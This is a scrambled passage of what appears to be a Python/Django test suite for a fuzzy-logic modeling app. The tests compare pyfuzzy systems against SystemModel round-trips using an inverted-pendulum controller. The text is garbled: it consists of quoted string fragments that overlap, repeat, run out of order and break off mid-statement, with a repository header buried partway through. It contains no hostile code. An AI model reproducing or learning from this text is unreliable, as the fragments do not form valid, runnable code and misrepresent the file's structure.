"{ 'a' : 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference()",
"Adjective from fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import COG from fuzzy.OutputVariable import OutputVariable",
"AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon",
"pdb; pdb.set_trace() # reset_mock(SystemModel,'inputvariablemodel_set') # reset_mock(SystemModel,'outputvariablemodel_set') # reset_mock(SystemModel,'rulemodel_set') pass def tearDown(self): \"\"\"And kill",
"acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) for var_name, var in",
"new_rule.adjective) self._test_norm(rule.CER, new_rule.CER) self._test_norm(rule.CER, new_rule.CER) self._test_operator(rule.operator, new_rule.operator) def _test_operator(self, operator, new_operator): \"test only",
"new_set.getCOG) self.assertRaisesMessage(Exception, e.message, new_set.getCOG) else: new_cog = new_set.getCOG() self.assertEquals(new_cog, cog) self.assertEquals(new_set.points, set.points) def",
"pass for param_name in params: arg = getattr(set, param_name) new_arg = getattr(new_set, param_name)",
"arg != 'self' and arg != 'INF' and arg != 'ACC': params.append(arg) #",
"gets its value from here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"left_near\"]),",
"fuzzy.norm.DombiUnion import DombiUnion from fuzzy.operator.Compound import Compound from fuzzy.operator.Input import Input from fuzzy.operator.Not",
"[rad/s] i_dict1 = input_dict.copy() i_dict2 = input_dict.copy() output_dict1 = { 'a' : 0.0",
"from fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import COG pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system =",
"\"test if work changing a single rule, but from model\" from fuzzy_modeling.models import",
"!= 'INF' and arg != 'ACC': params.append(arg) # will raise this exception when",
"Plain from fuzzy.defuzzify.COG import COG # set defuzzification method and default norms INF",
"i in xrange(1,2) ] # mocking inputvariablemodel_set # inputvariablemodel_set = lambda : None",
"} pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_changing_a_single_rule_from_model(self): \"test if work changing",
"#: acceleration [m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_with_other_input(self): \"",
"adjective=a_right_fast, # it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) system.rules['far left']",
"rulemodel_set.all = lambda : self.rules_mock self.set_pre_mock(SystemModel,'rulemodel_set') SystemModel.rulemodel_set = rulemodel_set return self.system def test_system_get_pyfuzzy(self):",
"velocity = InputVariable(fuzzify=Plain(),description='velocity',min=-10.,max=10.,unit='meter per second') system.variables['dX_dT'] = velocity velocity.adjectives['left_fast'] = Adjective(Polygon([(-10.,1.),(-5.,0.)])) velocity.adjectives['left_slow'] =",
"test only a given norm \" self.assertIsInstance(new_norm, norm.__class__) params = [] try: for",
"from fuzzy.fuzzify.Plain import Plain from fuzzy.defuzzify.COG import COG # set defuzzification method and",
"# reset_mock(SystemModel,'rulemodel_set') pass def tearDown(self): \"\"\"And kill it when done\"\"\" self.reset_all_pre_mocks(SystemModel) def _named_and_pyfuzzymixin_mock(self,",
"i) for i in xrange(1,2) ] # mocking inputvariablemodel_set # inputvariablemodel_set = lambda",
"params: arg = getattr(set, param_name) new_arg = getattr(new_set, param_name) self.assertEquals(new_arg, arg) cog =",
"an object that has attr name and a get_pyfuzzy that returns this name",
"system.variables['dX_dT'] = velocity velocity.adjectives['left_fast'] = Adjective(Polygon([(-10.,1.),(-5.,0.)])) velocity.adjectives['left_slow'] = Adjective(Polygon([(-10.,0.),(-2.,1.),(0.,0.)])) velocity.adjectives['stop'] = Adjective(Polygon([(-2.,0.),(0.,1.),(2.,0.)])) velocity.adjectives['right_slow']",
"elif operator.__class__.__name__ == 'Not': self._test_operator(operator.input, new_operator.input) op_call = operator() new_op_call = new_operator() self.assertEquals(",
"only a given adjective \" self.assertIsInstance(new_adj, adj.__class__) self._test_set(adj.set, new_adj.set) if adj.COM is not",
"(op_call, new_op_call, operator) ) def test_set_only(self): \" should return the correct outout when",
"Max #from fuzzy.norm.Min import Min #from fuzzy.norm.BoundedDifference import BoundedDifference #from fuzzy.norm.DrasticSum import DrasticSum",
"= Adjective(Polygon([(-2.,0.),(0.,1.),(2.,0.)])) velocity.adjectives['right_slow'] = Adjective(Polygon([(0.,0.),(2.,1.),(10.,0.)])) velocity.adjectives['right_fast'] = Adjective(Polygon([(5.,0.),(10.,1.)])) acceleration = OutputVariable(defuzzify=COG,description='acceleration',min=-50.,max=50.,unit='meter per second^2')",
"arg = getattr(set, param_name) new_arg = getattr(new_set, param_name) self.assertEquals(new_arg, arg) cog = None",
"COG = COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = OutputVariable( defuzzify=COG, description='acceleration', min=-50., max=50.,",
"failsafe=0., segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.variables['a'] = acceleration",
"the given type don't implement a __init__ function # (never overrided the object.__init__)",
"system.variables['dPhi_dT'] = angle_velocity angle_velocity.adjectives['cw_fast'] = Adjective(Polygon([(-600.,1.),(-300.,0.)])) angle_velocity.adjectives['cw_slow'] = Adjective(Polygon([(-600.,0.),(-300.,1.),(0.,0.)])) angle_velocity.adjectives['stop'] = Adjective(Polygon([(-300.,0.),(0.,1.),(300.,0.)])) angle_velocity.adjectives['ccw_slow']",
": self.rules_mock self.set_pre_mock(SystemModel,'rulemodel_set') SystemModel.rulemodel_set = rulemodel_set return self.system def test_system_get_pyfuzzy(self): \" shoud return",
"outputs_adjs) def _test_adj(self, adj, new_adj): \" test only a given adjective \" self.assertIsInstance(new_adj,",
"Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]) ) ), CER=CER ) system.rules['tilts right'] = Rule( adjective=a_right_slow, # it gets",
"[m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) for var_name, var in pyfuzzy_system_expected.variables.items():",
"fuzzy.set.Polygon import Polygon COM = AlgebraicSum() a_stop = Adjective(Polygon([(-10., 0.), (0., 1.), (10.,",
"at the position X=0. It also is used to demonstrate some features of",
"second') system.variables['dX_dT'] = velocity velocity.adjectives['left_fast'] = Adjective(Polygon([(-10.,1.),(-5.,0.)])) velocity.adjectives['left_slow'] = Adjective(Polygon([(-10.,0.),(-2.,1.),(0.,0.)])) velocity.adjectives['stop'] = Adjective(Polygon([(-2.,0.),(0.,1.),(2.,0.)]))",
"hasattr(var, 'fuzzify'): for adj_name, adj in var.adjectives.items(): outputs_adjs.append(adj) for rule_name, rule in system.rules.items():",
"CER=CER ) system.rules['far left'] = Rule( adjective=a_left_fast, # it gets its value from",
"mock a variable or to be an object that has attr name and",
"min=-50., max=50., unit='meter per second^2') acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow",
"from fuzzy.Rule import Rule from fuzzy.operator.Input import Input from fuzzy.norm.AlgebraicProduct import AlgebraicProduct CER",
"= 190.0 #: position [m] input_dict[\"dX_dT\"] = 500.0 #: velocity [m/s] input_dict[\"Phi\"] =",
"_test_new_vs_expected_fuzzy_sysem(self, new_pyfuzzy_system, pyfuzzy_system_expected): import math input_dict = {} input_dict[\"X\"] = 0.0 #: position",
"} output_dict2 = { 'a' : 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference()",
"single rule\" from fuzzy.Rule import Rule from fuzzy.operator.Input import Input from fuzzy.norm.AlgebraicProduct import",
"fuzzy.InputVariable import InputVariable from fuzzy.OutputVariable import OutputVariable from fuzzy.Adjective import Adjective from fuzzy.set.Polygon",
"= 'a' a_right_fast = output_a.adjectives[\"right_fast\"] a_right_fast.name = 'right_fast' far_right = Rule( adjective=a_right_fast, #",
"Exception, e: # self.assertRaises(Exception, new_set.getCOG) self.assertRaisesMessage(Exception, e.message, new_set.getCOG) else: new_cog = new_set.getCOG() self.assertEquals(new_cog,",
"getattr(set, param_name) new_arg = getattr(new_set, param_name) self.assertEquals(new_arg, arg) cog = None new_cog =",
"django.test import TestCase from fuzzy_modeling.tests.utils import ResetMock from fuzzy_modeling.models.systems import SystemModel from fuzzy.System",
"# inputvariablemodel_set = lambda : None inputvariablemodel_set = mock.Mock() inputvariablemodel_set.all = lambda :",
"import Polygon angle = InputVariable(fuzzify=Plain(),description='angle',min=0.,max=360.,unit='degrees') system.variables['Phi'] = angle angle.adjectives['up_more_right'] = Adjective(Polygon([(0.,0.),(30.,1.),(60.,0.)])) angle.adjectives['up_right'] =",
"= a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.rules['far right'].adjective = a_right_fast import math input_dict = {}",
"new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_changing_a_single_rule_from_model(self): \"test if work changing a single rule,",
"defuzzify=COG, description='acceleration', min=-50., max=50., unit='meter per second^2') acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow']",
"instance of same value \" from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct",
"new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_rule_has_same_adjs_as_output_only(self): \" check",
"Input(system.variables[\"Phi\"].adjectives[\"up_right\"]) ), CER=CER ) system.rules['tilts left'] = Rule( adjective=a_left_slow, # it gets its",
"= a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) acceleration.name = 'a' new_acceleration",
"= self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() import math input_dict = {} input_dict[\"X\"] = 190.0",
"input_dict[\"dX_dT\"] = 0.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(45.0) #: angle [rad] input_dict[\"dPhi_dT\"]",
"1.), (10., 0.)]), COM=COM) a_stop.name = 'stop' new_a_stop = AdjectiveModel.from_pyfuzzy(a_stop).get_pyfuzzy() new_pyfuzzy_system.variables['a'].adjectives['stop'] = new_a_stop",
"Adjective(Polygon([(60.,0.),(90.,1.),(120.,0.)])) angle.adjectives['up_left'] = Adjective(Polygon([(90.,0.),(120.,1.),(150.,0.)])) angle.adjectives['up_more_left'] = Adjective(Polygon([(120.,0.),(150.,1.),(180.,0.)])) angle.adjectives['down_more_left'] = Adjective(Polygon([(180.,0.),(210.,1.),(240.,0.)])) angle.adjectives['down_left'] = Adjective(Polygon([(210.,0.),(240.,1.),(270.,0.)]))",
"self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def _test_new_vs_expected_fuzzy_sysem(self, new_pyfuzzy_system, pyfuzzy_system_expected): import math input_dict",
"self.assertRaises(Exception, new_set.getCOG) self.assertRaisesMessage(Exception, e.message, new_set.getCOG) else: new_cog = new_set.getCOG() self.assertEquals(new_cog, cog) self.assertEquals(new_set.points, set.points)",
"var_name, var in pyfuzzy_system_expected.variables.items(): new_var = new_pyfuzzy_system.variables[var_name] self.assertIsInstance(new_var, var.__class__) self.assertEquals(new_var.description, var.description) self.assertEquals(new_var.min, var.min)",
"rule, new_rule): \"test only a given rule\" self.assertIsInstance(new_rule, rule.__class__) self.assertEquals(rule.certainty, new_rule.certainty) self._test_adj(rule.adjective, new_rule.adjective)",
"second^2') acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop'] =",
"right'] = new_rule self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {} input_dict[\"X\"] = 0.0 #:",
"name \"\"\" var = mock.Mock() var.name = name var.get_pyfuzzy = lambda systme=None: name",
"= lambda : self.rules_mock self.set_pre_mock(SystemModel,'rulemodel_set') SystemModel.rulemodel_set = rulemodel_set return self.system def test_system_get_pyfuzzy(self): \"",
"rulemodel_set = mock.Mock() rulemodel_set.all = lambda : self.rules_mock self.set_pre_mock(SystemModel,'rulemodel_set') SystemModel.rulemodel_set = rulemodel_set return",
"\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def _test_new_vs_expected_fuzzy_sysem(self, new_pyfuzzy_system, pyfuzzy_system_expected):",
"input_dict[\"Phi\"] = math.radians(45.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(0.0) #: angle velocity [rad/s]",
"second') system.variables['dPhi_dT'] = angle_velocity angle_velocity.adjectives['cw_fast'] = Adjective(Polygon([(-600.,1.),(-300.,0.)])) angle_velocity.adjectives['cw_slow'] = Adjective(Polygon([(-600.,0.),(-300.,1.),(0.,0.)])) angle_velocity.adjectives['stop'] = Adjective(Polygon([(-300.,0.),(0.,1.),(300.,0.)]))",
"when changing all the sets to the new instance of same value, and",
"params = [] try: for arg in inspect.getargspec(norm.__init__).args: if arg != 'self': params.append(arg)",
"ResetMock from fuzzy_modeling.models.systems import SystemModel from fuzzy.System import System class SystemModelTest(TestCase, ResetMock): def",
"\"\"\" var = mock.Mock() var.name = name var.get_pyfuzzy = lambda systme=None: name return",
"self.system = SystemModel(description=self.system_description) self.input_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"iv%d\" % i) for i in xrange(1,2)",
"test only a given set \" self.assertIsInstance(new_set, set.__class__) params = [] try: for",
"#from fuzzy.norm.Min import Min #from fuzzy.norm.BoundedDifference import BoundedDifference #from fuzzy.norm.DrasticSum import DrasticSum from",
"self.input_variable_mock self.set_pre_mock(SystemModel,'inputvariablemodel_set') SystemModel.inputvariablemodel_set = inputvariablemodel_set # mocking outputvariablemodel_set outputvariablemodel_set = mock.Mock() outputvariablemodel_set.all =",
"self._createSystem() new_pyfuzzy_system = self._createSystem() INF = AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum()",
"if not hasattr(var, 'fuzzify'): for adj_name, adj in var.adjectives.items(): outputs_adjs.append(adj) for rule_name, rule",
"\" test only a given fuzzify \" self.assertIsInstance(new_fuzzify, fuzzify.__class__) def _test_defuzzify(self, defuzzify, new_defuzzify):",
"#: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(0.0) #: angle velocity [rad/s] i_dict1 = input_dict.copy()",
"fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.fuzzify.Plain import Plain from fuzzy.defuzzify.COG",
"Input(system.variables[\"dX_dT\"].adjectives[\"right_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"right_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]) ), CER=CER ) system.rules['far right'] = Rule(",
"new_membership: # import pdb; pdb.set_trace() self.assertEquals( membership, new_membership, msg=\"%s != %s in %s\"",
"all the sets to the new instance of same value, and changing the",
"Input(system.variables[\"dX_dT\"].adjectives[\"left_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]) ), CER=CER ) system.rules['tilts left'] = Rule( adjective=a_left_slow,",
"= Adjective(Polygon([(90.,0.),(120.,1.),(150.,0.)])) angle.adjectives['up_more_left'] = Adjective(Polygon([(120.,0.),(150.,1.),(180.,0.)])) angle.adjectives['down_more_left'] = Adjective(Polygon([(180.,0.),(210.,1.),(240.,0.)])) angle.adjectives['down_left'] = Adjective(Polygon([(210.,0.),(240.,1.),(270.,0.)])) angle.adjectives['down'] =",
"= self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_rules_adj_in_out_adjs(pyfuzzy_system_expected) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_system_from_pyfuzzy_changing_a_single_rule(self): \"test if work changing",
"AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), ) ), CER=CER ) system.rules['accelerate ccw if down'] = Rule(",
"import Rule from fuzzy.operator.Input import Input from fuzzy.norm.AlgebraicProduct import AlgebraicProduct CER = AlgebraicProduct()",
"adjective=a_right_slow, # it gets its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(),",
"not None: self._test_norm(adj.COM, new_adj.COM) membership = adj.getMembership() new_membership = new_adj.getMembership() # if membership",
"gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) far_right.name = 'far right' rule_model",
"pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def",
"correct outout when only changing the set to a SetModel in th System",
"SystemModelOriginal # import pdb; pdb.set_trace() # reset_mock(SystemModel,'inputvariablemodel_set') # reset_mock(SystemModel,'outputvariablemodel_set') # reset_mock(SystemModel,'rulemodel_set') pass def",
"from fuzzy.operator.Input import Input from fuzzy.norm.AlgebraicProduct import AlgebraicProduct CER = AlgebraicProduct() pyfuzzy_system_expected =",
"def test_rule_has_same_adjs_as_output_only(self): \" check if a rule has the same adjectives as the",
"import AlgebraicProduct from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.fuzzify.Plain import Plain from fuzzy.defuzzify.COG import",
"gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) system.rules['far left'] = Rule( adjective=a_left_fast,",
"its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) system.rules['far left'] = Rule( adjective=a_left_fast, #",
"new_pyfuzzy_system.rules['far right'] = new_rule self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {} input_dict[\"X\"] = 0.0",
"only a given rule\" self.assertIsInstance(new_operator, operator.__class__) if operator.__class__.__name__ == 'Compound': self._test_norm(operator.norm, new_operator.norm) for",
"i) for i in xrange(1,2) ] self.rules_mock = [ self._named_and_pyfuzzymixin_mock(\"r%d\" % i) for",
"= Adjective(Polygon([(-20.,1.),(-10.,0.)])) position.adjectives['left_near'] = Adjective(Polygon([(-20.,0.),(-5.,1.),(0.,0.)])) position.adjectives['stop'] = Adjective(Polygon([(-5.,0.),(0.,1.),(5.,0.)])) position.adjectives['right_near'] = Adjective(Polygon([(0.,0.),(5.,1.),(20.,0.)])) position.adjectives['right_far'] =",
"import Max #from fuzzy.norm.Min import Min #from fuzzy.norm.BoundedDifference import BoundedDifference #from fuzzy.norm.DrasticSum import",
"Adjective from fuzzy.set.Polygon import Polygon angle = InputVariable(fuzzify=Plain(),description='angle',min=0.,max=360.,unit='degrees') system.variables['Phi'] = angle angle.adjectives['up_more_right'] =",
"AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"right_near\"]), Input(system.variables[\"X\"].adjectives[\"right_far\"]) ), Compound( DombiUnion(0.25), Input(system.variables[\"dX_dT\"].adjectives[\"right_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"right_fast\"]) ) ), ),",
"name return var def _mock_systemModel(self): self.system_description = \"System description\" self.system = SystemModel(description=self.system_description) self.input_variable_mock",
"= 'right_fast' far_right = Rule( adjective=a_right_fast, # it gets its value from here",
"return var def _mock_systemModel(self): self.system_description = \"System description\" self.system = SystemModel(description=self.system_description) self.input_variable_mock =",
"into an upright position as well as at the position X=0. It also",
"adjectives as the output\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_rules_adj_in_out_adjs(pyfuzzy_system_expected) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def",
"new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_rules_adj_in_out_adjs(pyfuzzy_system_expected) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_system_from_pyfuzzy_changing_a_single_rule(self): \"test if work changing a single",
"param_name in params: arg = getattr(defuzzify, param_name) new_arg = getattr(new_defuzzify, param_name) self.assertEquals(new_arg, arg)",
"\" test only a given adjective \" self.assertIsInstance(new_adj, adj.__class__) self._test_set(adj.set, new_adj.set) if adj.COM",
"from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.Adjective import Adjective from",
"for i in xrange(1,2) ] self.rules_mock = [ self._named_and_pyfuzzymixin_mock(\"r%d\" % i) for i",
"= a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop'] = a_stop =",
"== 'Compound': self._test_norm(operator.norm, new_operator.norm) for i_inputs in xrange(0, len(operator.inputs)): inp = operator.inputs[i_inputs] new_inp",
"adj.__class__) self._test_set(adj.set, new_adj.set) if adj.COM is not None and new_adj.COM is not None:",
"gets its value from here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"right_near\"]),",
"from django.test import TestCase from fuzzy_modeling.tests.utils import ResetMock from fuzzy_modeling.models.systems import SystemModel from",
"velocity.adjectives['right_slow'] = Adjective(Polygon([(0.,0.),(2.,1.),(10.,0.)])) velocity.adjectives['right_fast'] = Adjective(Polygon([(5.,0.),(10.,1.)])) acceleration = OutputVariable(defuzzify=COG,description='acceleration',min=-50.,max=50.,unit='meter per second^2') system.variables['a'] =",
"input if hasattr(var, 'fuzzify'): self._test_fuzzify(var.fuzzify, new_var.fuzzify) #: output else: self._test_defuzzify(var.defuzzify, new_var.defuzzify) # import",
"), Compound( EinsteinSum(), Input(system.variables[\"dX_dT\"].adjectives[\"left_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"left_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]) ), CER=CER ) system.rules['tilts",
"new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) for var_name, var in pyfuzzy_system_expected.variables.items(): new_var = new_pyfuzzy_system.variables[var_name] self.assertIsInstance(new_var, var.__class__)",
"fuzzy_modeling.tests.utils import ResetMock from fuzzy_modeling.models.systems import SystemModel from fuzzy.System import System class SystemModelTest(TestCase,",
"fuzzy system is to control the inverted pendulum into an upright position as",
"= self._createSystem() new_pyfuzzy_system = self._createSystem() system_model = SystemModel.from_pyfuzzy(self._createSystem()) output_a = new_pyfuzzy_system.variables[\"a\"] output_a.name =",
"acceleration.adjectives['left_slow'] = a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop'] = a_stop = Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow'] = a_right_slow",
"CER = AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() a_right_fast = new_pyfuzzy_system.variables[\"a\"].adjectives[\"right_fast\"] far_right",
"new_set.getCOG() self.assertEquals(new_cog, cog) self.assertEquals(new_set.points, set.points) def _test_norm(self, norm, new_norm): \" test only a",
"changing the corresponding rule \" from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum import AlgebraicSum",
"import RuleModel from fuzzy.Rule import Rule from fuzzy.operator.Input import Input from fuzzy.norm.AlgebraicProduct import",
"cog = None new_cog = None try: cog = set.getCOG() except Exception, e:",
"operator.__class__.__name__ == 'Compound': self._test_norm(operator.norm, new_operator.norm) for i_inputs in xrange(0, len(operator.inputs)): inp = operator.inputs[i_inputs]",
"var.name = name var.get_pyfuzzy = lambda systme=None: name return var def _mock_systemModel(self): self.system_description",
"#from fuzzy.norm.BoundedDifference import BoundedDifference #from fuzzy.norm.DrasticSum import DrasticSum from fuzzy.norm.EinsteinSum import EinsteinSum from",
"acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.rules['far right'].adjective = a_right_fast import",
"<gh_stars>1-10 # -*- coding: utf-8 -*- import inspect import mock from django.test import",
"new_var.getValue() # if var_value != new_var_value: self.assertEquals(new_var_value, var_value) for rule_name, rule in pyfuzzy_system_expected.rules.items():",
"= SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() import math input_dict = {} input_dict[\"X\"] = 190.0 #: position [m]",
"self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def test_output_variable_only(self): \" should return the correct outout when only changing",
"def setUp(self): # self.aluno = mommy.make_one(Aluno) # from fuzzy_modeling.models.systems import SystemModel as SystemModelOriginal",
"self._createSystem() system_model = SystemModel.from_pyfuzzy(self._createSystem()) output_a = new_pyfuzzy_system.variables[\"a\"] output_a.name = 'a' a_right_fast = output_a.adjectives[\"right_fast\"]",
"new_acceleration = OutputVariableModel.from_pyfuzzy(acceleration).get_pyfuzzy() new_pyfuzzy_system.variables['a'] = acceleration import math input_dict = {} input_dict[\"X\"] =",
"fuzzy.Rule import Rule from fuzzy.norm.Max import Max #from fuzzy.norm.Min import Min #from fuzzy.norm.BoundedDifference",
"self.assertIn(rule.adjective, outputs_adjs) def _test_adj(self, adj, new_adj): \" test only a given adjective \"",
"self.assertEquals(new_var.description, var.description) self.assertEquals(new_var.min, var.min) self.assertEquals(new_var.max, var.max) self.assertEquals(new_var.unit, var.unit) for adj_name, adj in var.adjectives.items():",
"Adjective(Polygon([(-10.,0.),(-2.,1.),(0.,0.)])) velocity.adjectives['stop'] = Adjective(Polygon([(-2.,0.),(0.,1.),(2.,0.)])) velocity.adjectives['right_slow'] = Adjective(Polygon([(0.,0.),(2.,1.),(10.,0.)])) velocity.adjectives['right_fast'] = Adjective(Polygon([(5.,0.),(10.,1.)])) acceleration = OutputVariable(defuzzify=COG,description='acceleration',min=-50.,max=50.,unit='meter",
"the same instance of an output adj\" outputs_adjs = [] for var_name, var",
"import Adjective from fuzzy.set.Polygon import Polygon COM = AlgebraicSum() a_stop = Adjective(Polygon([(-10., 0.),",
"= [] try: for arg in inspect.getargspec(set.__init__).args: if arg != 'self': params.append(arg) #",
"to a SetModel in th System \" from fuzzy_modeling.models import AdjectiveModel pyfuzzy_system_expected =",
"input_dict.copy() output_dict1 = { 'a' : 0.0 #: acceleration [m/s²] } output_dict2 =",
"Polygon from fuzzy.defuzzify.COG import COG from fuzzy.OutputVariable import OutputVariable pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system",
"return the correct output when changing all the sets to the new instance",
"norm.T_NORM) self.assertEquals(new_norm.S_NORM, norm.S_NORM) def _test_fuzzify(self, fuzzify, new_fuzzify): \" test only a given fuzzify",
"= 'stop' new_a_stop = AdjectiveModel.from_pyfuzzy(a_stop).get_pyfuzzy() new_pyfuzzy_system.variables['a'].adjectives['stop'] = new_a_stop self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def test_output_variable_only(self): \"",
"from fuzzy.OutputVariable import OutputVariable from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon angle",
